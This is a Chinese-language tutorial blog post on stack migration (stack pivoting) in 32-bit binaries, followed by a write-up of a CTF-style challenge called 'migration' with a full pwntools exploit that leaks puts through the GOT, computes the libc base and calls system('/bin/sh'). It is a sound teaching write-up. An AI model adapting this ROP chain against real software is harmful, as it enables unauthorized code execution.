首页 > 其他分享 >Stack Migration(栈迁移)

Stack Migration(栈迁移)

时间:2022-08-30 22:47:55浏览次数:57  
标签:plt puts buf1 buf2 ret 地址 Migration 迁移 Stack

Stack Migration(栈迁移)

原理

vhzEC9.png

1.通过overflow覆盖prev ebp的值,让程序在执行完当前函数后执行leave(mov esp,ebp ; pop ebp)恢复栈帧时,获取到错误的prev ebp从而让ebp跳转到指定的位置。

vhzk4J.png

2.此时esp执行到我们之前写入的gets函数,gets取buf1处的地址作为参数(buf1的地址也就是我们之前劫持ebp跳转到的地址),此时通过写入shellcode构造第二段rop填入buf1

vhz9BT.png

3.此时程序执行完gets函数后执行leave指令,(mov esp,ebp)将esp移动到此前的ebp的位置,(pop ebp)此时ebp读取buf1中末尾的buf2处存放的地址,跳转到第二处buf空间,也就是buf2的位置

vhxxcq.png

4.这时程序执行完puts函数,puts函数通过读取之前写入的任意函数的GOT表地址,打印出任意函数的GOT表地址,泄露出动态地址

vhxOhj.png

5.程序执行完上一步的pop指令清空栈上的用过的任意函数的GOT表地址(防止程序seg falt),执行gets函数以buf2中存放的地址作为参数,获取输入的内容,存放到buf2中,构建第三段rop

vhxukQ.png

6.程序此时执行完leave指令,(mov esp ,ebp)将esp搬到ebp的位置,(pop ebp)将buf2中存放的buf1的地址赋给ebp

vhxe0S.png

7.此时buf2中的rop中填充了system的动态地址(根据前面的任意函数泄露出来的动态地址-任意函数的静态地址+system函数的静态地址计算所得),并且还写入了/bin/sh字符串,从而执行了get shell的操作

特殊情况

vhxEOf.png

通过add指令,让esp跳转到我们可控的部分

例题-migration

分析

vhxA6P.png

只有NX和RELRO开启

程序无后门函数

v4p6BV.png

read()函数读取了0x40大小的字节,也就是64字节大小,但是buf空间只有24个字节大小,栈溢出

但是也因为read只读取了64字节大小,导致无法构造完整的rop链,所以只能栈迁移

第一段rop

先测定pading大小,正常应该44字节,一直覆盖到return address地址,但是因为需要篡改prev addr所以只覆盖44字节,接下来寻找可以写入的空间

v4p5cR.png

v4pxgA.png

v499DP.png

根据上面两图可知,可写区段是data段,所以采用data段后半截作为buf的地址

v49V3j.png

v49lUU.png

接下来就是寻找gets_pltleave_ret的地址

使用ropgadget可以知道

0x08048418 : leave ; ret

使用elfsymbol可以查看函数plt

v49ab6.png

发现没有gets函数,只有read函数,那就用read函数

read函数三个参数

int fd
void *buf
size_t count

所以需要在栈中布置上面的三个参数

from pwn import *
p = process('./migration')

buf1 = 0x804ae00
read_plt = 0x8048380
leave_ret = 0x08048418

rop = flat([buf1,read_plt,leave_ret,0,buf1,100])
payload = cyclic(40) + rop
p.sendafter('\n',payload)

p.interactive()

v49vIU.png

可以发现程序正在接收输入,表示成功

第二段rop

目标是在buf1中构建如下的布局

v4CpRJ.png

buf2采用buf1+0x100的方式

puts_plt

gdb-peda$ elfsymbol 
Found 6 symbols
read@plt = 0x8048380
_exit@plt = 0x8048388
puts@plt = 0x8048390
__gmon_start__@plt = 0x8048398
__libc_start_main@plt = 0x80483a0
setvbuf@plt = 0x80483a8

pop_ret

使用ROPgadget

0x0804836d : pop ebx ; ret

puts_got

v4Cuzd.md.png

read_pltleave_ret已经有了

构造接下来的rop

#rop2
buf2 = buf1 + 0x100
puts_plt = 0x8048390
pop_ebx_ret = 0x0804836d
puts_got = 0x08049ff0

rop2 = flat([buf2,puts_plt,pop_ebx_ret,puts_got,read_plt,leave_ret,0,buf2,100])
p.send(rop2)

v4CnRH.png

此时打印出来了puts函数的动态地址

第三段rop

v4PCtS.png

首先接收一下上一步打印出来的puts函数的动态地址

puts_dy = u32(p.recvuntil('\n',drop = True))

由于rop链在执行完system后就结束了,所以也不需要再用pop ret了,直接0xdeadbeef就行了

system动态地址

gdb-peda$ off puts
puts:0x67d90
gdb-peda$ off system
system:0x3d3d0

所以system函数动态地址等于puts动态地址-puts静态地址+system静态地址

/bin/sh直接写入就行

/bin/sh地址为buf2+16

第三段的exp为

#rop3
puts_sym = 0x67d90
puts_dy = u32(p.recvuntil('\n',drop = True))
libc_base = puts_dy - puts_sym
system = libc_base + 0x3d3d0
sh = buf2 + 16
rop3 = flat([buf1,system,0xdeadbeef,sh,"/bin/sh\x00"])
p.send(rop3)
p.interactive()

完整exp

from pwn import *
p = process('./migration')

###rop1
buf1 = 0x804ae00
read_plt = 0x8048380
leave_ret = 0x08048418

rop = flat([buf1,read_plt,leave_ret,0,buf1,100])
payload = cyclic(40) + rop
p.sendafter('\n',payload)

###rop2
buf2 = buf1 + 0x100
puts_plt = 0x8048390
pop_ebx_ret = 0x0804836d
puts_got = 0x08049ff0

rop2 = flat([buf2,puts_plt,pop_ebx_ret,puts_got,read_plt,leave_ret,0,buf2,100])
p.send(rop2)

###rop3
puts_sym = 0x67d90
puts_dy = u32(p.recvuntil('\n',drop = True))
libc_base = puts_dy - puts_sym
system = libc_base + 0x3d3d0
sh = buf2 + 16

rop3 = flat([buf1,system,0xdeadbeef,sh,"/bin/sh\x00"])
p.send(rop3)
p.interactive()

标签:plt,puts,buf1,buf2,ret,地址,Migration,迁移,Stack
From: https://www.cnblogs.com/murkuo/p/16641149.html

相关文章

  • 5分钟搞定MySQL/PostgreSQL/Oracle到StarRocks数据迁移同步-CloudCanal实战
    ##简述CloudCanal2.1.0.x版本开始支持StarRocks作为对端的数据迁移同步能力本文通过MySQL->StarRocks的数据迁移同步案例简要介绍这个源端的能力。链路特点:-结......
  • 迁移ssh host key方法
    诉求重新配置服务器,不希望用户感知到hostkey发生变化,报错known_hosts冲突问题。@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@WARNING:REMOTEH......
  • 技术基建如何降本增效——云迁移
    原创不易,求分享、求一键三连互联网寒冬大背景下,降本增效尤其是降本成了大部分公司的选择,我们公司也不例外,但显然困难很大!因为刚发生了团队合并行为...具体困难有以下几......
  • 【.Net6】简单使用EF进行数据库迁移
    CodeFirstCodeFirst是根据代码中定义的模型,映射到数据库中,下面以一个控制台项目为例,简单描述其方法。//首先需要2个Nuget包:Microsoft.EntityFrameworkCore.SqlServer /......
  • JavaScript实现栈结构(Stack)
    Js实现栈结构一、前言1.1什么是数据结构数据结构就是在计算机中,存储和组织数据的方式。例如:图书管理,怎样摆放图书才能既能放很多书,也方便取?常见的数据结构:栈(Stack)......
  • linux系统mysql数据库目录迁移
    1、关闭mysqlsudo/etc/init.d/mysqlstop或systemctlstopmysql 2、移动数据存储位置mv/var/lib/mysql/*/media/mysqldata3、修改my.cnf配置文件......
  • EFCore先DBFirst,再CodeFirst(针对老项目迁移)
    参照文章:CodeFirst命令介绍:Scaffold-DbContext命令使用-跟着阿笨一起玩.NET-博客园(cnblogs.com)整体流程介绍:NetCore中EFcore的DbFirst和CodeFirst混合使用注......
  • OpenStack命令行操作
    环境变量OpenStack的九个组件必须熟记,命令不需要死记硬背,我们可以通过help来查询相关的命令和参数。如果你直接使用命令来查询或者做其他操作,那么会涉及到环境变量,操作起......
  • 如何把thinkphp5的项目迁移到阿里云函数计算来应对流量洪峰?
    原文链接:https://developer.aliyun.com/article/9827461.为什么要迁移到阿里云函数?我的项目是一个节日礼品领取项目,过节的时候会有短时间的流量洪峰。平时访问量很低。......
  • npm 报错:npm ERR! Maximum call stack size exceeded 超过最大栈问题解决方案
       错误的原因,npm版本问题;解决办法:   1、更新到最新版本:npminstallnpm-g  要记住全局更新2、回退版本:npminstall-gnpm@5.4.0 ......